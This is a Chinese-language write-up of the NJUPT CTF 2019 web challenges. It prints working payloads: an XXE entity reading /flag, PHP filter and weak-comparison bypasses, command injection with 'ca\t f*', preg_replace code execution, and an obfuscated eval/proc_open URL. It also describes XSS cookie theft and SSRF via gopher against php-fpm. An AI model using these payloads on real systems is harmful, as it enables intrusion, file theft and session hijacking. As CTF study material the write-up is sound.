NJUPT_CTF_2019_Web_Writeup

前言

去年刚开始打 CTF 的时候,打的第一个就是南邮的比赛 = = 签到签了一天。一个晨跑打卡题 SQL 注入,空格的绕过,也没做出来。当时打完直接自闭。到了今年, Web 就一道题 flask_website 属于知识盲区,因为 flask 框架没学过。会存在什么安全隐患不清楚。其他题目思路上都没问题。

Fake XML cookbook

这题最简单的XXE,没什么套路。直接读根目录下的flag既可。

payload如下

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///flag">
]>
<user><username>&name;</username><password>123</password></user>

True XML cookbook

这题同样是XXE,但再次尝试读取根目录下的 /flag 发现读取不到东西,此时尝试读取其他敏感文件获取目标内网的信息。

  • /etc/hosts
  • /proc/net/arp (arp缓存文件)

发现,读取 /proc/net/arp 文件发现登录主机IP,但其中只有 192.168.1.8 和192.168.1.1的MAC地址不为 00:00:00:00:00:00,其中主机号为1的IP一般为网关,所以尝试使用 http 协议对 192.168.1.8 进行端口探测。在准备探测前随手访问了下 192.168.1.8 的 80端口,结果就拿到 flag了….

参考文章

easyphp

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];


//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('23333333');
}


//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}


//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>
23333333

其中 1st 使用 %0a 换行符,既可绕过

2nd 其实考的还是 PHP 的弱比较问题。其中 $a == $b 的话是弱比较,如果 0e开头,之后为数字的话,那么会被当成科学计数法。所以就是相等的。

$md5_1 != $md5_2 ,能想到的应该就是找0e开头的md5值。其中 $string_1 需要是数字或者数字字符串,所以我们可以爆破,找一个MD5之后为0e开头的数字,但它后30位不是全为数字,但其中又只包含,chxp 这4个字母,这样经过 strtr的替换,后30位又全部是数字,这样就满足了 $a==$b

找数字的爆破脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
for ($i=0;$i<=100000000000000000000;$i++){
$a = md5($i);
if(strpos($a,'0e')===0){
$b = substr($a,2,30);
$c = strtr($b, 'cxhp', '0123');
if(strpos($c,'e')==0){
if(is_numeric($c)){
echo $i;
exit();
}
}
}
}

这样可以得到数字 2120624 ,MD5之后的值为 0e85776838554cc1775842c212686416,经过 strtr 之后,值为 0e857768385540017758420212686416 。另一个值,因为没有类型限制,所以我们随便传入一个MD5之后为0e开头且后30位为纯数字的。例如: 240610708

这样 str1 和 str2 分别传入 2120624 和 240610708 既可绕过 2nd

3rd 中 substr_count($query, ‘_’) === 0 && substr_count($query, ‘%5f’) === 0 这里利用到了php的一个特性,

如果参数名字中包含” “、”.”、”[“ 这几个字符,会将他们转换成下划线。 参考文章 )

所以这里q_w_q 使用 q.w.q 替代既可。

直接 ls 列目录,发现flag在 flllag.php 中,然后这里 cat 被过滤以及限制了长度,但使用 ca\t f* 既可绕过。

replace

一开始想到的函数的 str_replace,印象中这个函数真的没什么问题。google一番也没什么发现。后来在 rep参数多输入了一个 ) 后发现报错了,爆出了函数是 preg_replace ,是这个函数就想到了是命令执行了。

但这里单引号被过滤了,以及命令执行函数被过滤了,所以不能直接调用系统命令来读取文件和列目录,但可以使用 php函数来做这些事情。

  • var_dump(scandir(chr(47))) 列出根目录。

  • var_dump(file(chr(47).chr(102).chr(108).chr(97).chr(103))) 读取flag

Upload your Shell

界面很华丽,是文件包含和文件上传的一个组合。

检测MIME和文件后缀名,以及文件内容是否包含 <? 。这里可以使用图片马,把图片马中的一句话改为 既可

hacker_backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
if(!isset($_GET['code']) || !isset($_GET['useful'])){
highlight_file(__file__);
}
$code = $_GET['code'];
$usrful = $_GET['useful'];

function waf($a){
$dangerous = get_defined_functions();
array_push($dangerous["internal"], 'eval', 'assert');
foreach ($dangerous["internal"] as $bad) {
if(strpos($a,$bad) !== FALSE){
return False;
break;
}
}
return True;
}

if(file_exists($usrful)){
if(waf($code)){
eval($code);
}
else{
die("oh,不能输入这些函数哦 :) ");
}
}

file_exists 这个检测并不影响,直接传入index.php 既可

waf() 函数可以用 . 来凭借字母然后执行动态函数。例如执行phpinfo()。$a=’p’.’h’.’p’.’i’.’n’.’f’.’o’;$a();

查看 phpinfo 的 disable_functions可以发现大量函数被禁用了。命令执行函数 proc_open 未被过滤,所以我们可以利用这个函数来进行对flag的读取。

最后完整 payload 为

1
http://nctf2019.x1ct34m.com:60004/?code=?><?php $b="p";$c="ipe";$test="/readflag";$g='c'.'h'.'r';$h=$g(95);$a=[[$b.$c,"r"], [$b.$c,"w"], [$b.$c,"w"] ];$aa='p'.'r'.'o'.'c'.$h.'o'.'p'.'e'.'n';$fp=$aa($test,$a,$p); $d='stre'.'am'.$h.'ge'.'t'.$h.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s';echo $d($p[1]);?>&useful=index.php

simple_xss

注册登录,可以给指定的用户留言。然后留言这里存在XSS,并且没什么过滤。直接给admin留言,然后利用xss平台来盗取admin的cookie。

思路是这样,但我操作的时候遇到个问题就是留言完之后没有马上收到cookie,过了好久去xss平台上看了眼,发现突然有几个cookie。拿其中一个来进行替换,结果就拿到flag了….

flask

flag 的模板注入,过滤了 flag 关键字。利用 jinja 的 reverse 过滤器既可绕过。

phar matches everything

看到 phar 我就想到了 phar 序列化,但看这题一直没人解出来,我就没看,先把其他解出来的人比较多的题目给解了。然后到了快结束了的最后几个小时看了下。

一开始题目提示 vim。想到了源码泄露,但用扫描器扫了下没收获。以为可能是利用反序列化+PHP原生类来进行任意文件读取。然后往这个思路去做。发现并行不通。

之后自己给每个php文件之后加上 .swp 之后,突然发现下载了 .catchmime.php.swp 下来,放到 vim 中 -r 恢复出来。得到以下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}

public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}

if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>

getimagesize 函数,加上定义了,但是源码中没有实例化的类。明显是留着给我们利用的。那第一步的思路就很清晰了。利用phar反序列化,执行 Main 类的 curl方法。curl 方法的话,很明显是一个 SSRF。

在讲利用前先说了这里踩的一个坑,调试了我一个多小时。$this_is_a_easy_test->funny_get() === ‘1’ 这里要让Easytest$test 属性为 ‘1’ 。在序列化受保护的成员属性时,会在属性名前面加上 ‘ * ‘ 这个星号两侧是有两个空字节。但这个空字节输出到浏览器上是不显示的。所以在传入的时候,两个空字节用%00代替。好久没遇到序列化,忘记了这个点,真是惭愧。

言归正传。这么触发 phar 反序列化这里就不叙述了,我之前文章总结过了。讲下SSRF利用,这里一开始想到的是进行本地文件读取。但是读了一圈下来,都没读到 flag。

最后根据 XXE 的思路可能需要使用 SSRF 打内网的机器。这里同样读取 /proc/nat/arp 获取一个内网IP地址,10.0.0.3 ,利用SSRF进行访问,得到提示。 powered by good PHP-FPM 。第一反应是不久前刚爆出的 CVE-2019-11043。

但搜索了一圈只有一个 POC 脚本,这里利用SSRF是无法使用的。所以暂时没什么好的解决办法。

最后比赛结束了。也没找到解决的办法。赛后看了其他师傅的 wp 才明白,原来这里是利用 SSRF + gopher 协议打 php-fpm 未授权访问。

赛后复现的过程中,又踩坑了。我本地环境测试生成的payload有没有效,在浏览器中测试,页面一直加载。然后我就一直卡在这里,以为是我的payload有问题,之后通过 php 命令直接执行文件,发现正常,然后拿到题目上测试,也正常,说明 payload 没问题。这里不知道什么问题,卡了好久(哭)。生成 gopher 协议 payload 的脚本参考这里 ) 。

最后还需要绕过 open_basedir 。参考文章

剩下两题 SQLi 和 flask_website 没做出来,就不写了。